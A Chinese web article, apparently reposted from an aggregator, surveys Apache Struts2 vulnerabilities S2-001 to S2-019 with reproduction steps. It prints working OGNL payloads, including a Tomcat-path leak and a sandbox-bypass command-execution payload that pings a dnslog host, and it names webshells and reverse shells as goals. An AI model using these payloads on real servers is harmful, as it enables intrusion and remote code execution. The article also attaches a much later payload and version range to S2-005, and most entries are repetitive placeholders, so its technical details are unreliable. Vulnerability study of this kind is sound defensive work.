Struts2是一个开源的Web应用框架,广泛应用于Java EE网络应用程序的开发,尽管其功能强大,但Struts2也暴露出多个安全漏洞,这些漏洞可能导致远程代码执行、信息泄露等严重安全问题,以下是对Struts2漏洞的详细分析:
常见漏洞及复现方法
1、S2-001
漏洞原理:用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用OGNL表达式进行解析,从而重新填充到表单数据中。
影响版本:Struts 2.0.0 2.0.8
手工复现:在账号密码输入框中输入%{'123'}
,如果点击submit后返回的是123
,则存在漏洞。
POC示例:获取Tomcat路径的POC为%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
。
2、S2-005
漏洞原理:通过构造恶意的OGNL表达式,绕过OGNL表达式沙盒,造成任意代码执行。
影响版本:Struts 2.0.0 – Struts 2.5.25
手工复现:使用dnslog探测漏洞是否存在,通过POST请求构造特定的OGNL表达式来执行命令。
3、S2-007
漏洞原理:与S2-005类似,通过构造恶意的OGNL表达式绕过OGNL表达式沙盒。
影响版本:特定版本(具体版本需参考官方公告)
手工复现:访问靶机,构建无回显POC,查看文件或执行命令。
4、S2-008
漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。
影响版本:特定版本(具体版本需参考官方公告)
手工复现:访问靶机,构建POC,执行命令。
5、S2-012
漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。
影响版本:特定版本(具体版本需参考官方公告)
手工复现:访问靶机,验证漏洞,构建POC。
6、S2-013
漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。
影响版本:特定版本(具体版本需参考官方公告)
手工复现:访问靶机,构建POC。
7、S2-015
漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。
影响版本:特定版本(具体版本需参考官方公告)
手工复现:访问靶机,构建POC。
8、S2-016
漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。
影响版本:特定版本(具体版本需参考官方公告)
手工复现:执行扫描,命令执行。
9、S2-019
漏洞原理:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码。
影响版本:特定版本(具体版本需参考官方公告)
手工复现:访问靶场,构建POC。
漏洞利用目标及Payload构造
对于Struts2漏洞的利用,攻击者通常通过以下方式实现代码执行、命令执行、获取webshell或反弹shell等目标:
代码执行/命令执行:通过构造特定的OGNL表达式,绕过OGNL表达式沙盒,执行任意代码或命令。
获取webshell:通过执行命令上传webshell文件,或直接在内存中执行webshell代码。
反弹shell:通过执行命令建立反向连接,实现远程控制目标系统。
Payload的构造通常涉及对OGNL表达式的深入理解和巧妙运用,以绕过Struts2的安全机制,在S2-005漏洞中,攻击者可以通过构造如下Payload来执行命令:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping vquj2m.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
这个Payload通过一系列复杂的OGNL表达式操作,最终实现了命令执行的目的。
Struts2框架虽然功能强大,但其安全性问题不容忽视,从S2-001到S2-019等多个漏洞可以看出,攻击者可以通过构造特定的OGNL表达式来绕过Struts2的安全机制,实现远程代码执行、命令执行等恶意操作,在使用Struts2框架开发Web应用时,开发者应密切关注官方发布的安全公告和更新补丁,及时修复已知漏洞以提高系统的安全性,加强输入验证和输出编码也是防止此类漏洞被利用的有效手段之一。
以上就是关于“struts2的漏洞”的问题,朋友们可以点击主页了解更多内容,希望可以够帮助大家!
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/85504.html